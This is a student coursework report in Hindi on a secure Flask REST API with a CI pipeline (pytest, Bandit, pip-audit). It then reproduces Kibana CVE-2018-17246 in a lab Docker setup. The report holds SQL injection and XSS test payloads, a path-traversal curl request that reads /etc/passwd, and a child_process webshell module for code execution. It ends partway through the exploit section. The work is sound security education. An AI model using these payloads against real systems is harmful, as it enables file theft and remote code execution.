
HDU IS Work 1 - CI/CD (pytest + bandit + pip-audit) के साथ सुरक्षित REST API (Flask) और CVE-2018-17246 विश्लेषण
Python/Flask में सुरक्षित REST API, GitHub Actions के माध्यम से CI/CD (SAST + SCA + स्वचालित परीक्षण), और Docker वातावरण में पुनरुत्पादित एक वास्तविक CVE का पूर्ण विश्लेषण (Kibana LFI, CVE-2018-17246)।
नाम: Guhaotian HDU संख्या: 23320209
https://github.com/ght657/work1-secure-api (सार्वजनिक)POST /auth/login — पासवर्ड हैश सत्यापित करने के बाद एक हस्ताक्षरित JWT जारी करता है।GET /api/data — JWT (Bearer टोकन) द्वारा संरक्षित; वर्तमान उपयोगकर्ता के रिकॉर्ड लौटाता है।GET /api/users/search?q= — पैरामीटर-बाउंड SQL क्वेरी के साथ संरक्षित रीड एंडपॉइंट।POST /api/posts (JWT संरक्षित) संग्रहीत XSS / आउटपुट-एस्केपिंग सुरक्षा को प्रदर्शित करता है।वर्कफ़्लो फ़ाइल: .github/workflows/ci.yml, main पर प्रत्येक पुश पर ट्रिगर होती है।
| जॉब | टूलिंग | यह क्या करता है | प्रमाण |
|---|---|---|---|
test | pytest 8 | 11-परीक्षण सूट चलाता है | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | app/, tests/ का स्थिर विश्लेषण (JSON रिपोर्ट आर्टिफ़ैक्ट के रूप में अपलोड) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | निर्भरता ऑडिट (JSON रिपोर्ट आर्टिफ़ैक्ट के रूप में अपलोड) | evidence/09_pip_audit_report.png |
यदि कोई परीक्षण विफल होता है या कोई SAST/SCA निष्कर्ष शेष रहता है तो पाइपलाइन विफल हो जाती है, इसलिए एक लाल पाइपलाइन का अर्थ है कि मर्ज से पहले एक फ़िक्स पुश किया जाना चाहिए।
11 परीक्षण, सभी पास (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
एप्लिकेशन कोड हमारा अपना है, इसलिए पहला रन स्वाभाविक रूप से किसी तृतीय-पक्ष शोर को शामिल नहीं करता है। परिणाम: 0 मुद्दे:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit ज्ञात CVE वाली सभी निर्भरताओं को सूचीबद्ध करता है; प्रारंभिक रन में पाया गया:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
कुल 19 प्रविष्टियाँ (Flask, PyJWT ×17, python-dotenv)। मैंने इन्हें ठीक किए गए संस्करणों में अपग्रेड किया:
Flask 3.1.3, PyJWT 2.15.0 और python-dotenv को हटा दिया (केवल वैकल्पिक कॉन्फ़िग सहायक —
ठीक किया गया 1.2.2 के लिए Python ≥ 3.10 आवश्यक है जबकि ऑडिट venv 3.9 है)।
ठीक करने के बाद:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
API का परीक्षण curl के साथ क्लासिक हमलों के विरुद्ध किया गया। स्क्रीनशॉट evidence/ में हैं:
POST /auth/login जिसमें username: "admin'--" है, 401 Invalid credentials लौटाता है —
लुकअप हैश किए गए क्रेडेंशियल्स के विरुद्ध ORM पैरामीटर क्वेरी का उपयोग करता है, इंजेक्ट किया गया
पेलोड डेटा ही रहता है और कभी SQL नहीं बनता।
GET /api/users/search?q=%' OR '1'='1 → स्ट्रिंग को
SELECT ... WHERE username LIKE ? के लिए पैरामीटर के रूप में बाइंड किया जाता है (वाइल्डकार्ड एस्केप किए गए), इसलिए यह किसी से मेल नहीं खाता और API
एक खाली सूची लौटाता है — कोई त्रुटि नहीं और कोई पूर्ण-तालिका डंप नहीं।
POST /api/posts जिसमें title: "<script>alert('xss')</script>" है; सर्वर
कच्ची स्ट्रिंग संग्रहीत करता है लेकिन आउटपुट पर इसे एस्केप करता है (markupsafe.escape + jsonify), इसलिए लौटाया गया
पेलोड <script>alert('xss')</script> है — ब्राउज़र टेक्स्ट को टॉगल करता है, इसे
निष्पादित नहीं करता। (ब्राउज़र रेंडर के साथ पुनः-उत्पादन evidence/06_xss_readback.png में दिखाया गया है।)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + संरक्षित डेटा (evidence/04_data_with_token.png)401 (HS256 के साथ हस्ताक्षर जाँच)401 (60 मिनट की समाप्ति)Authorization: Bearer <token> के माध्यम से उपयोग किया जाता है
(evidence/10_jwt_structure.png 3-भाग की संरचना दिखाता है)।पासवर्ड bcrypt हैश (12 राउंड) के रूप में संग्रहीत किए जाते हैं और किसी भी एंडपॉइंट द्वारा कभी नहीं लौटाए जाते
(परीक्षण test_passwords_stored_as_bcrypt_hashes)।
/etc/passwd), और — चूँकि भेद्य रूट को फ़ाइल को
JS मॉड्यूल के रूप में आवश्यकता होती है — यदि कोई लिखने योग्य पथ पहुँच योग्य हो (जैसे किसी अन्य दोष या
उत्पन्न अस्थायी फ़ाइल के माध्यम से), तो हमलावर-नियंत्रित JS को Kibana प्रक्रिया द्वारा निष्पादित किया जा सकता है।GET /api/console/api_server?apis=../../../../../../etc/passwd — apis
पैरामीटर को केवल एक सरल पथ जाँच के बाद require() को पास किया जाता है, जिससे ..
अनुक्रम सर्वर-साइड api निर्देशिका से बाहर निकलकर मनमानी फ़ाइलें पढ़/निष्पादित कर सकते हैं।मैं सार्वजनिक vulhub इमेज का उपयोग करता हूँ (पहले से प्रकाशित, भेद्य सत्यापित):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — देखें
CVE-2018-17246/docker-compose.yml (इस रेपो में उसी नाम का फ़ोल्डर)।
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
चरण 1 — LFI को ट्रिगर करें (Console API एक apis पथ स्वीकार करता है जिसे फ़ाइल के रूप में हल किया जाता है):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
प्रतिक्रिया 500 है (फ़ाइल एक वैध JS मॉड्यूल नहीं है) लेकिन फ़ाइल की सामग्री सर्वर लॉग में दिखाई देती है — Kibana फ़ाइल को पढ़ता है और उसे require() करने का प्रयास करता है:
docker compose logs kibana | grep -i "passwd\|root:x"
चरण 2 — कोड निष्पादन तक बढ़ाएँ। एक स्थानीय JS फ़ाइल को उसी रूट द्वारा मॉड्यूल के रूप में लोड किया जाता है: /tmp/vulhub.js जिसमें एक छोटा "webshell" है जो एक शेल कमांड चलाता है जब उसका निर्यातित फ़ंक्शन Console API द्वारा आमंत्रित किया जाता है:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}